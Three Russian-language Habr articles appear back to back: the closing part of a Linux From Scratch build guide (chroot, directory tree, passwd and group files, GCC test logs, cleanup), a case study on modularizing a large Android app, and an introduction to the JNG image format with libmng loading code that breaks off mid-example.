Команда меняет корневой каталог системы на $LFS и выполняет две команды — /tools/bin/env — создает новое «чистое» пользовательское окружение, присваивая некоторые переменные: HOME — положение домашнего каталога; TERM — тип терминала; PS1 — формат приглашения командной строки; PATH — список путей к исполняемым файлам; /tools/bin/bash --login +h — запускает новый экземпляр командной оболочки, причем запуск выполняется как вход в отдельный пользовательский сеанс с отключением хеширования путей к исполняемым файлам. Заметьте — мы используем программы (env и bash) собранные нами на предыдущем этапе.
После выполнения команд мы получаем следующий результат
```
I have no name!:/# ls
dev proc run sources sys tools
```
Корень системы успешно изменился, а в приглашении командной строки стоит предупреждение «у меня нет имени!», которое возникает из-за отсутствия в системе файла /etc/passwd. Пусть это не смущает вас, файл мы скоро создадим.
**Примечание**: Сборка системы может занять продолжительное время, так что команды монтирования VFS и chroot можно объединить в скрипт, дабы упростить вход в собираемую систему после выключения компьютера.
2. Создание необходимых каталогов и файлов
==========================================
Теперь нам необходимо сформировать дерево каталогов нашей системы
```
# mkdir -pv /{bin,boot,etc/{opt,sysconfig},home,lib/firmware,mnt,opt}
# mkdir -pv /{media/{floppy,cdrom},sbin,srv,var}
# install -dv -m 0750 /root
# install -dv -m 1777 /tmp /var/tmp
# mkdir -pv /usr/{,local/}{bin,include,lib,sbin,src}
# mkdir -pv /usr/{,local/}share/{color,dict,doc,info,locale,man}
# mkdir -v /usr/{,local/}share/{misc,terminfo,zoneinfo}
# mkdir -v /usr/libexec
# mkdir -pv /usr/{,local/}share/man/man{1..8}
# case $(uname -m) in
> x86_64) ln -sv lib /lib64
> ln -sv lib /usr/lib64
> ln -sv lib /usr/local/lib64 ;;
> esac
# mkdir -v /var/{log,mail,spool}
# ln -sv /run /var/run
# ln -sv /run/lock /var/lock
# mkdir -pv /var/{opt,cache,lib/{color,misc,locate},local}
```
Каталоги, создаваемые командой mkdir по-умолчанию имеют права доступа 755 (drwx r-x r-x). Команда install используется в данном случае для создания каталогов со специфическим занчением аттрибутов доступа: 0750 (drwx r-x ---) для /root — домашнего каталога суперпользователя; 1777 (drwx rwx rwx) для /tmp и /var/tmp — каталоги для размещения временных файлов, к которым должен быть доступ у всех без исключения пользователей системы. Однако необходим запрет на перемещение файлов другого пользователя, содержащихся во временном каталоге. Для этого взводится так называемый sticky bit, указывающий на то, что удаление файлов во временной директории разрешено лишь их владельцу.
В случае, если собирается 64-разрядная система, необходимо создать символические ссылки, ведущие в каталог /lib содержащий системные библиотеки. Кроме того, некоторые программы используют жестко заданные пути к необходимым компонентам системы. Пока мы работаем во временной системе эти пути будут отличатся (например все исполняемые файлы пока что расположены в каталоге /tools/bin) поэтому необходимо создать символические ссылки, исправляющие это несоответствие
```
# ln -sv /tools/bin/{bash,cat,echo,pwd,stty} /bin
# ln -sv /tools/bin/perl /usr/bin
# ln -sv /tools/lib/libgcc_s.so{,.1} /usr/lib
# ln -sv /tools/lib/libstdc++.so{,.6} /usr/lib
# sed 's/tools/usr/' /tools/lib/libstdc++.la > /usr/lib/libstdc++.la
# ln -sv bash /bin/sh
```
Традиционно в линуксах список монтированных файловых систем располагался в файле /etc/mtab. Однако современные ядра используют для этого виртуальную файловую систему /proc. Создадим символическую ссылку
```
# ln -sv /proc/self/mounts /etc/mtab
```
для программ, продолжающих использовать /etc/mtab.
Теперь нам необходимо создать файл /etc/passwd, содержащий список пользователей, зарегистрированных в системе.
```
# cat > /etc/passwd << "EOF"
> root:x:0:0:root:/root:/bin/bash
> bin:x:1:1:bin:/dev/null:/bin/false
> daemon:x:6:6:Daemon User:/dev/null:/bin/false
> messagebus:x:18:18:D-Bus Message Daemon User:/var/run/dbus:/bin/false
> nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
> EOF
```
используя для этого перенаправление стандартного ввода в файл, так как во временной системе у нас нет текстового редактора. Этот текстовый файл имеет следующий формат — каждая его строка содержит информацию о пользователе в виде
```
::::::
```
* login — имя пользователя в системе
* password — хеш пароля, раньше хранившийся здесь, но теперь вынесенный в отдельный файл /etc/shadow, недоступный для чтения обычным пользователем. Вместо него теперь ставится заполнитель «x»
* UID — идентификатор пользователя — число от 0 до 232 — 1. Собственно, основное назначение данного файла — это сопоставление логина и идентификатора пользователя.
* GID — идентификатор группы по-умолчанию, в которую включен пользователь
* GECOS — информационное поле, хранящее дополнительную информацию о пользователе. Оно не имеет четкого синтаксиса и по сути может содержать любые комментарии к данной учетной записи
* home — абсолютный путь к домашнему каталогу пользователя
* shell — командная оболочка, используемая в сеансе данного пользователя
В качестве разделителя полей используется двоеточие. Наш файл содержит описание суперпользователя root, а так же специальных пользователей bin, daemon, messagebus от имени которых запускаются некоторые программы и сервисы.
Отдельное значение имеет непривилегированный пользователь nobody — от его имени мы будем запускать тесты некоторых собираемых компонентов системы. Так как у нас пока что нет доступа к утилите useradd этого пользователя, равно как и других, мы создаем вручную.
Вручную создаем и необходимый набор пользовательских групп в файле /etc/group
```
# cat > /etc/group << "EOF"
> root:x:0:
> bin:x:1:daemon
> sys:x:2:
> kmem:x:3:
> tape:x:4:
> tty:x:5:
> daemon:x:6:
> floppy:x:7:
> disk:x:8:
> lp:x:9:
> dialout:x:10:
> audio:x:11:
> video:x:12:
> utmp:x:13:
> usb:x:14:
> cdrom:x:15:
> adm:x:16:
> messagebus:x:18:
> systemd-journal:x:23:
> input:x:24:
> mail:x:34:
> nogroup:x:99:
> users:x:999:
> EOF
```
Каждая строчка описывает отдельную группу в формате
```
:::
```
* group name — символьное имя группы
* group passwd — пароль группы — содержит «x» ибо данное поле устарело и не используется в настоящее время
* GID — идентификатор группы
* users list — список пользователей-участников группы, разделенный запятыми
Кратко опишу назначение каждой из групп
* root — группа суперпользователей с правами root. В нормальных условиях сюда входит лишь сам пользователь root
* bin, sys — эти группы сохранились как исторически существовавшие, некоторые программы не работают, если их нет в системе
* kmem — группа доступа к памяти ядра
* tape — группа доступа к нодам устройств
* tty — группа доступа к терминальным устройствам (в том числе и консоль)
* daemon — группа запуска непривилегированных демонов
* floppy, cdrom, disk — группы доступа к различным типам дисковых накопителей
* lp — группа доступа к принтеру, исторически «сидевшему» на параллельном порту LPT.
* dialout — группа доступа к устройствам, выполняющим «дозвон» при сетевом соединении (модемы)
* audio, video — доступ к мультимедиа устройствам
* usb — группа доступа к шине USB
* adm — группа доступа к просмотру системных логов в каталоге /var/log
* messagebus — группа доступа к шине передачи сообщений между устройствами D-BUS
* systemd-journal — доступ к журналам (логам) systemd
* input — доступ к устройствам пользовательского ввода
* mail — доступ к сервисам работы с электронной почтой
* nogroup — пустая группа
* users — обычные, непривилегированные, пользователи системы
Теперь можно выполнить повторный вход в пользовательский сеанс
```
exec /tools/bin/bash --login +h
```
и, вуаля, теперь системе известно имя пользователя, от имени которого выполнен вход
```
root:/#
```
Инициализируем некоторые, необходимые системе файлы логов, назначая соответствующие права
```
root:/# touch /var/log/{btmp,lastlog,wtmp}
root:/# chgrp -v utmp /var/log/lastlog
root:/# chmod -v 664 /var/log/lastlog
root:/# chmod -v 600 /var/log/btmp
```
3. Долгий и нудный процесс сборки GNU-окружения...
==================================================
Данный этап — наиболее трудоемкий и продолжительный. Вам предстоит **вручную** собрать все необходимые пакеты GNU-окружения — тот минимальный набор программ, позволяющий получить работоспособную linux-систему.
Надо сказать, по мере продвижения по списку собираемых пакетов нарастает нервное напряжение — список довольно обширен, а операции достаточно однообразны. В какой-то момент в голове возникает вопрос — а на черта оно мне надо вообще??? Тут главное собраться с мыслями и усилием воли преодолеть уныние — всё начатое необходимо доводить до конца.
Последовательность сборки пакетов построена так, что на текущем этапе удовлетворены все зависимости, необходимые для его выполнения. Так что порядок сборки нарушать нельзя.
Сборка каждого пакета сопровождается подробной инструкцией, предусматривающей в общем случае
* наложение патчей на исходный код пакета. Все необходимые патчи выкачаны нами и расположены в каталоге /sources
* правку исходников, выполняемую утилитой sed. Тут желательно вникнуть в смысл регулярных выражений, определяющих шаблон правки, так как бездумный ввод команд наверняка приведет к ошибкам. А sed не выводит сообщений об ошибках — если вы ошиблись при вводе шаблона, то операция может не выполнится или выполнится неверно, что будет фатально для процесса сборки.
* конфигурирование. Отдельное внимание префиксам директорий — при установке все исполняемые бинарники, библиотеки и документация должны оказаться на своих местах.
* копирование двоичных файлов, назначение прав файлам и директориям, создание символических ссылок. Некоторые ссылки могут вести к пока что не существующим точкам ФС, так что синтаксис команд создания симлинков следует понимать буквально и не допускать самодеятельности при построение путей. Следуем инструкции неукоснительно!
Ну и наконец самое важное — тесты! При сборке временной системы мы игнорировали тесты, во-первых из-за того, что нам были недоступны средства тестирования, во-вторых в тестах не было необходимости. Теперь же, когда мы собираем окончательные версии системного ПО, мы обязаны всесторонне проверить результат сборки на предмет правильного функционирования. Особенно это касается компилятора, стандартных библиотек и вспомогательных средств сборки ПО (ассемблер и компоновщик).
Не стоит пропускать тестирование если в инструкции есть пометка о том, что оно должно быть выполнено. Тестирование отнимает много времени, например сборка GCC с выполнением тестов происходит в течение 63 SBU, что на моей машине составляет около 150 минут. Но у нас нет другого выхода.
Инструкция содержит замечания о том, какие тесты могут не проходить с указанием причин. После выполнения тестов в обязательном порядке сверяем полученный результат с ожидаемым по инструкции. Эталонные логи всех проводимых тестов для версии LFS 7.7 лежат по [этой ссылке](http://www.linuxfromscratch.org/lfs/build-logs/7.7/i7-5820K/)
В качестве примера приведу выжимку из своего лога тестирования GCC
**Краткий журнал тестирования GCC** === g++ Summary ===
# of expected passes 88501
# of unexpected successes 2
# of expected failures 443
# of unsupported tests 3058
/sources/gcc-build/gcc/testsuite/g++/../../xg++ version 4.9.2 (GCC)
— === gcc Summary ===
# of expected passes 106352
# of expected failures 252
# of unsupported tests 1422
/sources/gcc-build/gcc/xgcc version 4.9.2 (GCC)
=== libatomic tests ===
— === libatomic Summary ===
# of expected passes 54
=== libgomp tests ===
Running target unix
=== libgomp Summary ===
# of expected passes 693
=== libitm tests ===
Running target unix
=== libitm Summary ===
# of expected passes 26
# of expected failures 3
# of unsupported tests 1
=== libstdc++ tests ===
— === libstdc++ Summary ===
# of expected passes 9925
# of expected failures 41
# of unsupported tests 233
Compiler version: 4.9.2 (GCC)
Platform: x86\_64-unknown-linux-gnu
который можно сравнить с образцом
**Официальный лог сборки GCC от авторов LFS** === gcc Summary ===
# of expected passes 106401
# of expected failures 252
# of unsupported tests 1404
/sources/gcc-build/gcc/xgcc version 4.9.2 (GCC)
make[4]: Leaving directory '/sources/gcc-build/gcc'
— === g++ Summary ===
# of expected passes 88501
# of unexpected successes 2
# of expected failures 443
# of unsupported tests 3058
/sources/gcc-build/gcc/testsuite/g++/../../xg++ version 4.9.2 (GCC)
— === libstdc++ Summary ===
# of expected passes 9835
# of expected failures 41
# of unsupported tests 278
make[5]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libstdc++-v3/testsuite'
make[4]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libstdc++-v3/testsuite'
Making check in python
— === libgomp Summary ===
# of expected passes 693
make[5]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libgomp/testsuite'
make[4]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libgomp/testsuite'
make[4]: Entering directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libgomp'
true DO=all multi-do # make
make[4]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libgomp'
— === libitm Summary ===
# of expected passes 26
# of expected failures 3
# of unsupported tests 1
make[5]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libitm/testsuite'
make[4]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libitm/testsuite'
make[4]: Entering directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libitm'
— === libatomic Summary ===
# of expected passes 54
make[5]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libatomic/testsuite'
make[4]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libatomic/testsuite'
make[4]: Entering directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libatomic'
true DO=all multi-do # make
make[4]: Leaving directory '/sources/gcc-build/x86\_64-unknown-linux-gnu/libatomic'
— === g++ Summary ===
# of expected passes 88501
# of unexpected successes 2
# of expected failures 443
# of unsupported tests 3058
/sources/gcc-build/gcc/testsuite/g++/../../xg++ version 4.9.2 (GCC)
— === gcc Summary ===
# of expected passes 106401
# of expected failures 252
# of unsupported tests 1404
/sources/gcc-build/gcc/xgcc version 4.9.2 (GCC)
=== libatomic tests ===
— === libatomic Summary ===
# of expected passes 54
=== libgomp tests ===
Running target unix
=== libgomp Summary ===
# of expected passes 693
=== libitm tests ===
Running target unix
=== libitm Summary ===
# of expected passes 26
# of expected failures 3
# of unsupported tests 1
=== libstdc++ tests ===
— === libstdc++ Summary ===
# of expected passes 9835
# of expected failures 41
# of unsupported tests 278
Compiler version: 4.9.2 (GCC)
Platform: x86\_64-unknown-linux-gnu
Мне повезло — я получил результаты, хорошо совпадающие с предлагаемыми авторами. Чего и вам желаю.
4. Повторный вход в систему, очистка отладочной информации, удаление временной системы
======================================================================================
Итак, вы собрали все пакеты. Поздравляю — большая и нуднейшая часть пути пройдена вами. Теперь перелогинимся в нашей новой системе
```
# logout
# chroot $LFS /tools/bin/env -i \
> HOME=/root TERM=$TERM PS1='\u:\w\$ ' \
> PATH=/bin:/usr/bin:/sbin:/usr/sbin \
> /tools/bin/bash --login
```
перезапуская /tools/bin/bash с включенным хешированием, и убирая из путей поиска исполняемых файлов каталог /tools/bin. Отрезаем отладочную информацию
```
# /tools/bin/find /{,usr/}{bin,lib,sbin} -type f \
> -exec /tools/bin/strip --strip-debug '{}' ';'
```
Чистим временный каталог от файлов, оставшихся после тестирования
```
# rm -rf /tmp/*
```
повторно логинимся, запуская уже «боевой» bash
```
# chroot "$LFS" /usr/bin/env -i \
> HOME=/root TERM="$TERM" PS1='\u:\w\$ ' \
> PATH=/bin:/usr/bin:/sbin:/usr/sbin \
> /bin/bash --login
```
Теперь нам больше не нужна временная система — удаляем её
```
# rm -rf /tools
```
Фух… основные трудности позади. Нам осталось настроить нашу систему для загрузки, собрать ядро, сконфигурировать сеть. Но об этом я напишу в заключительной статье.
*[Окончание следует...](http://habrahabr.ru/post/258227/)* | https://habr.com/ru/post/257941/ | null | ru | null |
# Трудности, с которыми мы столкнулись при модуляризации нашего приложения. Часть 2
[**Первая часть**](https://habr.com/ru/company/otus/blog/701688/)
### Наши дальнейшие действия
В итоге мы провели ревизию нашей многослойной структуры, так как из-за того, что был изменен целый ряд модулей, мы больше не могли использовать кэш Gradle - нам все-равно нужно было пересобирать его. Это конечно же отразилось на времени, необходимом для запуска приложения.
Затем мы немного [упростили](https://tidyfirst.substack.com/p/cohesion) код нашего функционала, чтобы бизнес-правило было к нему ближе и в то же время изолированно от других модулей. В результате структура функциональных модулей стала выглядеть следующим образом:
Сервис, домен и представление стали ближе и больше связаны.
Таким образом, изменение или создание фичи затрагивало меньше модулей, что позволило намного лучше использовать кэш Gradle.
Одним из преимуществ этого подхода было то, что код фичи стал намного более осязаем и, как следствие, проще для понимания, поскольку он был меньше раскидан по модулям. И к этому моменту это уже перешло в разряд необходимости, поскольку держать в голове код всего проекта было уже просто невозможно.
Организация нашей структуры в итоге преобразовалась из простой многослойной в структуру, содержащую модули с функционалом и вспомогательные модули. Networking (сетевое взаимодействие) является хорошим примером вспомогательного модуля, внутри которого определена вся [retrofit](https://github.com/square/retrofit)-конфигурация. Этот модуль затем используется модулем с функционалом, которому нужно только создать retrofit-интерфейс с конечными точками, необходимыми для фичи.
В рамках этого разделением мы пересмотрели и наш процесс создания фичи. Мы заметили, что у нас было много общего кода, и чем более изолированными будут подобные модули, тем меньше будет таких проблем, как, например, конфликты в коде и изменения, косвенно нарушающие функциональность наших фич.
Реструктуризация команды и во что превратился наш проект
--------------------------------------------------------
На данный момент наш проект превратился в супер-приложение, цель которого заключается в том, чтобы предоставить пользователю доступ к широкому набору функциональных возможностей, доступных в продуктах нашей компании.
Чтобы создать супер-приложение, нашей команде нужна была более обширная кодовая база, чем та, что была в нашем изначальном приложении. Но даже после объединения двух продуктов, релизы всех наших продуктов должны были продолжать идти по графику. Учитывая тот объем функционала, который уже существовал, мы нуждались в пересмотре структуры нашей команды. Раньше у нас была стандартная иерархическая модель. На смену ей пришли матричные структуры команд по типу племен (tribes - проектных команд), отрядов (squads - базовая единица) и т.д.
Независимые команды создают разный, не связанный между собой, функционал.
Переход на эту распределенную модель позволил улучшить организацию нашего проекта. Например, помимо команд, отвечающих за клиентский функционал, была создана команда, отвечающая за платформу Android, в обязанности которой входила поддержка команд, разрабатывающих фичи.
В рамках этой реорганизации, мы смогли разделить ответственность за различные модули приложения между несколькими функциональными и платформенными командами. В итоге мы пришли к следующему разделению:
**Устаревшие (Legacy) модули**: все модули с этой номенклатурой должны быть постепенно удалены из нашего проекта в угоду более изолированной структуры проекта. Например, модуль domain, выделенный синим цветом на изображении исходной структуры, должен быть удален, поскольку бизнес-правила теперь являются частью функциональных модулей.
У нас было несколько таких устаревших модулей, и каждая команда отвечала за перенос необходимой части этого кода в свои модули в рамках новой структуры.
**Модули фич (Feature)**: модули, которые создают прямую ценность для клиента. В ответственности каждой функциональной команды теперь есть определенный набор таких модулей, за которые они отвечают.
**Платформенные (Platform) модули**: модули, которые предоставляют командам, занимающимся функционалом, ресурсы. Сюда входит, например, вся сетевая логика, безопасность, кэширование, аналитика, внедрение зависимостей, фича-флаги, системы для проектирования, производительность и т.д.
**Вспомогательные (Support) модули**: модули, в рамках которых все еще осталось какое-либо пересечение между несколькими командами, например, домашняя страница приложения, где можно осуществить переход к разным продуктам.
Каждая команда отвечает за свой продукт в рамках супер-приложения.
Сокращение времени сборки с помощью Focus
-----------------------------------------
Благодаря более четкой связи между различными модулями у нас появилась возможность добавить [Focus](https://github.com/dropbox/focus), разработанный командой Dropbox. Плагин Focus помогает сфокусировать ресурсы на сборке конкретного модуля, избавляя от необходимости синхронизировать при этом весь моно-репозиторий. Кроме того, [Габриэль Соуза](https://twitter.com/DevSrSouza) (Gabriel Souza) создал [плагин для Android Studio](https://plugins.jetbrains.com/plugin/19104-focus) поверх Focus, чтобы еще больше упростить с ним работу. С его помощью вам нужно лишь кликнуть по модулю, выбрать “Focus” и дождаться, пока Gradle обновит проект.
### Добавление в проект sample app’ов
Все проекты приложений имеют главный app-модуль с примененным плагином приложения; при создании нового модуля в том же проекте Android Studio добавит плагин нашей библиотеки.
App-модуль должен иметь зависимости от всех остальных модулей нашего приложения, чтобы при создании apk был доступен весь функционал.
Sample app помогает нам ограничится созданием только определенной части приложения, т. е. вместо того, чтобы иметь зависимости от всех остальных модулей, sample app будет полагаться на меньший набор модулей, что может значительно сократить время сборки.
Поскольку каждый отряд теперь отвечает только за определенную группу модулей, в рамках разработки проекта были созданы разные sample app, чтобы им необходимо было создавать только часть приложения.
С правой стороны модули, доступные после применения плагина Focus
Вот несколько важных моментов, учитываемых при создании sample app:
* Оно должно проходить процесс аутентификации так же, как и полноценный app-модуль, чтобы команда работала в рамках такой же пользовательской сессии, которая будет в продакшене. То есть оно должно иметь зависимость от модуля логина.
* Добавляйте в него только те модули, над которыми вы работаете.
* Обязательно создайте активити/представление/композицию/фрагмент, которое будет следующим пунктов в навигации после аутентификации.
* Соответствующим образом перепишите навигацию для нового экрана, созданного на предыдущем шаге.
Тут есть две основные задачи; во-первых, навигация после завершения процесса аутентификации и сборка графа библиотеки, используемого для внедрения зависимостей. В нашем проекте используется [Kodein](https://github.com/kosi-libs/Kodein).
Автоматизация создания sample app способствует лучшему принятию его командой. Скрипт выполняет следующие действия:
* Автоматически создает sample app.
* Для решения задачи внедрения зависимостей был создан новый класс SampleAppApplication. Этот класс помогает структурировать внедрение зависимостей для sample app.
* Сгенерированное активити представляет собой список кнопок, при нажатии которых осуществляется переход к соответствующему функционалу в Focus.
После запуска скрипта человек, добавляющий sample app, должен обновить существующий список навигации в классе SampleAppApplication, который ожидает возврата типа *map*. Реализация выглядит примерно так:
```
fun listOfEntryPoints() = mapOf(
"Button Text" to Navigation.Home,
"Second flow to navigate" to Navigation.CopyAndPaste
)
```
Навигация в этом проекте работает через Screen. Это закрытый класс, в котором есть маппинг на какой-нибудь экран.
Помимо навигации, необходимо было определить, какие зависимости от других модулей должны быть у нашего sample app. Для этого нам просто нужно было обновить файл `build.gradle.kts`:
```
dependencies {
implementation (project(":module-xyz)")
...
}
```
Этот скрипт тесно связан со структурой проекта, так как он связан с системой навигации приложения и внедрением зависимостей.
Отражение структуры команды в проекте
-------------------------------------
Проект, содержащий такое большое количество модулей, в итоге был организован таким образом, чтобы в нем можно было легко ориентироваться.
В настоящее время структура проекта отражает организацию наших команд. У нас есть несколько отрядов в рамках разных племен, добавляющих фичи в проект, поэтому для участника команды было бы вполне естественно сказать: “Я работаю над Android-проектом продукта XYZ”. Вместо того, чтобы перечислять все модули прямо в корне проекта (представьте, что вы открываете проект и пытаетесь найти один из 150+ перечисленных модулей, над которым вы работаете), он был реструктурирован, как показано на рисунке ниже:
Желтый и серые — папки, зеленые — модули. Зеленые стрелки демонстрируют структуру каталогов, соответствующую каждой папке.
Эта структура оказалась довольно гибкой в двух отношениях:
* Если команда племени растет, не потребуется каких-либо значительных усилий для разделения модуля на два, если это необходимо.
* Если модуль становится слишком большим, его легко разбить на более мелкие модули, сохраняя при этом связную структуру кода.
Как разбить большой модуль и сохранить целостность?
Например, Pix — это метод оплаты, разработанный Центральным банком Бразилии, который позволяет совершать транзакции менее чем за 10 секунд, 24 часа в сутки, семь дней в неделю, включая выходные и праздничные дни.
Модуль Pix в будущем нужно будет разделить на несколько других модулей, так как Центральный Банк регулярно выпускает обновления разного рода. С развитием этого функционала структура могла бы выглядеть примерно так:
Пунктирные линии указывают, что модули, обозначенные зеленым цветом, являются частью каталога, обозначенного желтым цветом.
В идеале дальнейшая разбивка на модули до этого уровня должна происходить только в том случае, если это необходимо или если этот модуль начинает влиять на время сборки.
Модули **виджетов** (Widget) предназначены для изоляции частей функционала, используемых другими функциональными модулями. Например, домашняя страница приложения отображает точку входа для доступа к Pix. Таким образом, вместо того, чтобы напрямую зависеть от постоянно меняющегося модуля, который никогда не сможет использовать кэш Gradle, модуль домашней страницы становится зависимым от модуля с точечными изменениями, что позволяет поддерживать время сборки в разумный рамках.
Очень важно сформировать структуру, направленную на то, чтобы зависимости между модулями были как можно более прямолинейными. Обратите внимание, что виджеты избегают прямой связи между модулями с **разными фичами**.
Архитектура модуля Shared изолирует весь общий с другими модулями того же функционала или продукта код. Таким образом, нет необходимости создавать несколько модифицированных интерфейсов или дублировать несколько шаблонов, поскольку они имеют общий домен.
Модуль Shared позволяет избежать разделения на слои, так как такой модуль содержит все, от пользовательского интерфейса до слоя ввода и вывода данных. Обратите внимание, что модуль Shared избегает прямой связи между модулями **той же фичи**, как и в случае с Pix.
Пунктирные линии показывают, что модуль, выделенный зеленым цветом, представляет собой каталог в папке Pix, выделенной желтым цветом.
Shared и widget — это номенклатуры, определенные для совместного использования кода в рамках проекта и поддержания четкого понимания командой того, для чего предназначен каждый модуль. Здесь важно определить максимально прозрачные отношения между модулями.
Структурирование (создание модулей, перемещение папок и т. д.) требует обновления файла settings.gradle и всех затронутых импортируемых модулей в файлах build.gradle. Имейте в виду, что это может занять какое-то время.
Поддержание работоспособности проекта
-------------------------------------
Не смотря на то, что в настоящее время наш проект настолько обширен, правки в него мы вносим практически каждый день. Вот несколько вещей которые могут с этим помочь:
* Удалите [неиспользуемые зависимости](https://github.com/nebula-plugins/gradle-lint-plugin).
* Пересмотр структуры проекта [очень полезен](https://github.com/autonomousapps/dependency-analysis-android-gradle-plugin).
* Следите, чтобы граф Gradle был не слишком [глубоким](https://github.com/vanniktech/gradle-dependency-graph-generator-plugin).
* Добавьте файл readme в корень модуля с описанием его бизнес-правил.
* Предпочитайте композицию наследованию (в этом проекте нет базового класса (BaseActivity, BaseFragment, BaseXYZ), ведь это упрощает модуляризацию.
В заключение
------------
Не переусердствуйте с количество модулей. Лучше потратьте время на создание хороших абстракций, даже если все они будут в одном месте. Со временем они очень пригодятся для модуляризации.
Избегайте крайностей в своей архитектуре и помните, что ценность продукта заключается не только в количестве имеющихся в нем модулей, но и в том, как приложение улучшает повседневную работу клиента.
Следите за тем, как должна развиваться структура проекта, обращайте внимание на культуру и структуру компании, в которой вы работаете, а не просто следуйте за хайпом в мире разработки.
Техническое и деловое видение приносит пользу и позволит проекту достигнуть зрелости.
Если у вас остались вопросы, вы можете найти меня в [Mastodon](https://androiddev.social/@caique) и [Twitter](https://twitter.com/_josecaique), где я с удовольствием отвечу на них.
Огромное спасибо [Леонардо Пайшао](https://twitter.com/leonardorpaixao) (Leonardo Paixão), [Брено Крузу](https://www.linkedin.com/in/breno-cruz-779373109/) (Breno Cruz), [Аллану Хасэгава](https://www.linkedin.com/in/allan-yoshio-hasegawa/) (Allan Hasegawa) и [Тьяго Оливейра](https://twitter.com/programadorthi) (Thiago Oliveira) за технический обзор и советы.
Материал подготовлен в преддверии старта специализации Android-разработчик. Узнать подробнее о курсе и зарегистрироваться на [бесплатный урок](https://otus.pw/f1QZ/) можно по ссылке ниже.
* [Подробнее о специализации Android-разработчик](https://otus.pw/f1QZ/) | https://habr.com/ru/post/705292/ | null | ru | null |
# Графический формат JNG — чем полезен, как устроен, чем сконвертить, посмотреть и загрузить
 На картинке изображенна турецкая снайперская винтовка с очень подходящим названием — JNG. В статье, как вы уже догадались — речь пойдёт о графическом формате JNG, а отнюдь не об оружии. На хабре уже мелькали темы, касающиеся этого формата, однако их было не много, а некоторые, к сожалению, впоследствии были удалены авторами. Не смотря на то, что JNG не особо популярный формат и базируется на формате MNG, который, судя по всему, можно считать мёртворождённым, у JNG есть одно очень хорошее свойство – это высокая степень сжатия графики с потерями плюс начиие альфа канала.
По сути JNG представляет из себя подвид формата MNG (однако со своим маркером в заголовке, позволяющим отличать оба этих формата). Цветовые данные сохраняются в JPEG формате, а вот альфа может хранится в одном из двух вариантов – либо тоже сжатая при помощи JPEG, как картинка в оттенках серого, либо используя такое же как в PNG — сжатие без потерь.
Где может пригодится JNG? Для меня он больше всего подошёл для хранения текстурных атласов в мобильных играх. Небольшой пример – исходный набор графики от игры весил 57 мегабайт, после замены всех png на jng – набор графики стал весить 15 мегабайт. Неплохой выигрыш для мобильной игры. Поиск других областей, где можно применить jng оставлю на усмотрение читателя, я же опишу чем смотреть, чем создавать а также как грузить (с примерами кода на C/C++) картинки в формате JNG, а также немного теории об его устройстве.
#### Чем просматривать JNG картинки?
— XnView (http://www.xnview.com/) – позволяет открывать JNG после установки плагина.
— IrfanView (http://www.irfanview.com/) – также требует плагин (поставляется в паке вместе с кучей других форматов).
#### Как сохранить графику в формат JNG?
Во первых есть плагин к фотошопу — [download.fyxm.net/JNG-Format-8069.html](http://download.fyxm.net/JNG-Format-8069.html). Похоже он не особо развивается, но тем не менее свою работу выполняет.
Во вторых можно воспользоваться довольно известной опенсорсной утилитой – ImageMagic (http://www.imagemagick.org)
Разбираясь с форматом JNG я написал простой конвертер, позволяющий конвертировать png в jng — [code.google.com/p/png2jng/downloads/list](http://code.google.com/p/png2jng/downloads/list)
(конвертер собран под windows, однако после небольшого напилинга, касающегося замены функций из может быть собран под любую другую платформу).
Из минусов моей программы:
– так и не допилил 16 битные png/jng (у меня не было необходимости поддерживать такую битность);
— не используется фильтрация данных альфа канала перед сжатием. Потенциально добавив поддержку PNG фильтров можно достичь лучшей степени сжатия альфа канала.
#### Как загружать JNG?
##### libmng
Использовать libmng [sourceforge.net/projects/libmng](http://sourceforge.net/projects/libmng/)
Плюсы:
— достаточно довно существует;
— может грузить не только jng но и анимированные mng;
— там же есть код для создания mng/jng картинок.
Минусы:
— большая и тяжеловесная библиотека
— довольно таки запутанное API для загрузки графики, рассчитанное на анимации;
— невозможность чтения картинки по строкам;
— достаточно прожорлива по памяти.
Также libmng требует наличие jpeglib и zlib.
Если вы решили использовать libmng – вот небольшой пример по загрузке графики с её помощью.
Целиком весь исходник примера вы можете найти здесь — [code.google.com/p/png2jng/source/browse/trunk/jngdump/jngdump.cpp](http://code.google.com/p/png2jng/source/browse/trunk/jngdump/jngdump.cpp) (как часть png2jng)
Здесь же опишу ключевые моменты.
Первым делом необходимо инициализировать библиотеку и настроить обязательный минимум колбэков.
Для удобства загрузки картинки я определил такую структуру, которую передаю через пользовательский параметр в колбэки:
```
struct mng_info
{
FILE* file;//файл из которого читаем
mng_uint32 width;
mng_uint32 height;
mng_uint32 timer;
unsigned char* pixels;
};
```
Итак – инициализация libmng
```
/*Первым параметром можно передать указатель на любые пользовательские данные, которые будут подвешены под mng_handle.
Далее передаются указатели на функции для выделения и освобождения памяти, а также на функцию для вывода логов.
Важный момент – libmng не зануляет своиструктуры, поэтом ваш аллокатор должен делать это сам, иначе вы получите весьма странные не стабильные багги (как вариант – используйте calloc, ну или memset после своего аллокатора).
*/
mng_handle hmng;
mng_info mngInfo;
mng_retcode retCode;
hmng = mng_initialize(&mngInfo, mymngalloc, mymngfree, MNG_NULL);
/*Устанвавливаем набор колбэков*/
/*Обработчик ошибок*/
Mng_setcb_errorproc(hmng, mymngerror);
/*Открытие потока с исходными данными картинки. Может быть пустым, если вы заранее его открыли.*/
mng_setcb_openstream(hmng, mymngopenstream);
/*Закрытие потока*/
mng_setcb_closestream(hmng, mymngclosestream);
/*чтение данных*/
mng_setcb_readdata(hmng, mymngreadstream);
/*Обработка заголовка – вот здесь можно получить всю информацию о загружаемой картинке, выделить буфер, который будет хранить декодированные пиксели*/
mng_setcb_processheader(hmng, mymngprocessheader);
/*Данная функция позволяет libmng получить указатель на строку в выходном буфере изображения*/
